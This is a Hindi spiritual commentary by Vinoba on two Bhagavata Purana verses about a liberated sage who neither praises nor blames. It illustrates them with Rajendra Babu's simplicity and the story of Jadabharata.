भागवत धर्म सार -विनोबा भाग-109

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भागवत धर्म मिमांसा

4. बुद्ध-मुक्त-मुमुक्षु साधक

 
(11.13) न स्तुवीत न निंदेत कुर्वतः साध्वसाधु वा ।
वदतो गुणदोषाभ्यां वर्जितः समदृङ् मुनिः ।।[1]

कोई भला करे या बुरा, भला बोले या बुरा, तो भी उसकी न स्तुति करनी चाहिए, न निन्दा –न स्तुवीत न निंदेत। सवाल होगा – स्तुति करता है और न निन्दा, यह अवस्था कैसे आयेगी? अभी तक जो बताया, उससे यह कठिन दीखता है। किसी की निन्दा न करें, यह बात तो ठीक, लेकिन कोई भला करता है तो उसे ‘धन्यवाद’ भी न दें – यह विचित्र-सा दीखता है। लेकिन यह हो सकता है। कोईभला करे तो उसका अभिनन्दन अवश्य करना चाहिए। पर कोई बुरा करे तो उसकी निन्दा नहीं करनी चाहिए। आगे धीरे-धीरे भला और बुरा मानने की अवस्था ही मिट जायेगी। अन्ततः यह अवस्था आ सकती है कि हमारा किसी से भला या किसी से बुरा होने वाला नहीं, यह भान होगा। ‘धन्यवाद’ देना सभ्यता का लक्षण है। आरम्भ में वह चल सकता है, लेकिन आगे उसे भी मिटाना है। भले-बुरे का असर चित्त पर न हो, ऐसी अवस्था लानी है। (11.14) न कुर्यान्न वदेत् किंचित् न ध्यायेत् साध्वसाधु वा । आत्मारामोऽनया वृत्त्या विचरेज्जडवन्मुनिः ।।[2]</poem> मुक्त पुरुष के ‘कोड ऑफ काण्डक्ट’ यानी आचरण के नियम बता रहे हैं। मुक्त पुरुष के लिए कोई नियम नहीं हो सकता। इसका अर्थ यही है कि वह कुछ भला-बुरा नहीं करेगा, कुछ नहीं सोचेगा। न कुर्यात् –करेगा नहीं। न वदेत् – बोलेगा नहीं। न ध्ययेत् – सोचेगा नहीं। साधु वा असाधु वा – भला या बुरा। खुराक पौष्टिक है, पर हजम होना मुश्किल है। सवाल आता है कि क्या साधु पुरुष किसी का भला नहीं करेगा?न भला सोचेगा, न भला बोलेगा? किसा का बुरा न करें, किसी को बुरा न बोलें, किसी के बारे में बुरा न सोचें, यह बात समझ में आती है। लेकिन इसमें उलटी बात कही गयी है। महापुरुष कोई काम करने की तकलीफ न उठाये, सिफारिश न करे – यह भी समझ में आता है। लेकिन उसका आशीर्वाद भी हमें न मिले, वह हमारे बारे में भला भी न सोचे, यह बात समझ में नहीं आती। मैं इसका मतलब यह लेता हूँ कि भले-बुरे की यह बात सांसारिक अर्थ में कही गयी है। लोग आशीर्वाद क्यों चाहते हैं? कोई कहेगा :‘आशीर्वाद दीजिये कि हमें सन्तान हो जाय।’ कोई कहता है :‘मैं परीक्षा में पास हो जाऊँ, ऐसा आशीर्वाद दीजिये।’ सवाल आता है कि मुक्त पुरुष ऐसी चीजें क्यों सोचेगा? लेकिन ‘दुनिया का आध्यात्मिक कल्याण हो, सबका कल्याण हो’ ऐसा वह अवश्य सोचेगा। जिसे हम व्यावहारिक भलाई कहते हैं, उसे वह नहीं सोचेगा। वह आध्यात्मिक दृष्टि से सबकी भलाई का चिन्तन करेगा और मौका आयेगा, तो मदद भी करेगा। आत्माराम –यानी आत्मा में रमनेवाला, आत्माराम। मुनिः जडवत् अनया वृत्त्या विचरेत् –ऐसा आत्माराम मननशील मुनि जड़ की तरह विचरण करे। वह अपने ज्ञान का कभी प्रदर्शन नहीं करेगा। राजेन्द्रबाबू की मिसाल हमारे सामने है। कोई पहचान नहीं पाता था कि वे पढ़े-लिखे हैं। बिहार के एक किसान और उनमें कोई फरक नहीं था। उनमें मान का प्रदर्शन नहीं था। यह मिसाल तो मैंने सहज दे दी। मतलब यह कि वे इतनी सादगी से अपना जीवन जीते थे। यह उत्तम साधु पुरुष का लक्षण है। जड़भरत इसकी मिसाल है। वे एक प्राचीन-महाज्ञानी हो गये हैं। कहीं जा रहे हैं। उसी रास्ते से राजा की पालकी जा रही थी। पालकी ढोने के लिए एक मनुष्य कम पड़ रहा था। राजा ने उनसे कहा :‘जरा पालकी उठा दो।’ जड़भरत ने तुरन्त पालकी उठा ली। उन्हें पालकी उठाने की आदत तो थी नहीं। इसलिए बीच-बीच में पालकी डगमगाती थी और राजा उन्हें धमकाता। ऐसा चलता रहा। कुछ देर तक जड़भरत ने राजा का धमकाना सुन भी लिया। लेकिन आखिर शान्त से कहा :‘महाराज, आपसे इतने अविनय की अपेक्षा नहीं की गयी थी।’ राजा ने पहचान लिया कि इस तरह बोलनेवाला और शान्ति रखनेवाला कोई ज्ञानी होना चाहिये। उसने तत्काल उत्तरकर जड़भरत के चरण छुए और क्षमा माँगी। फिर जड़भरत ने राजा को उपदेश दिया – ऐसी वह कहानी है।


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टीका टिप्पणी और संदर्भ

  1. 11.11.15
  2. 11.11.17

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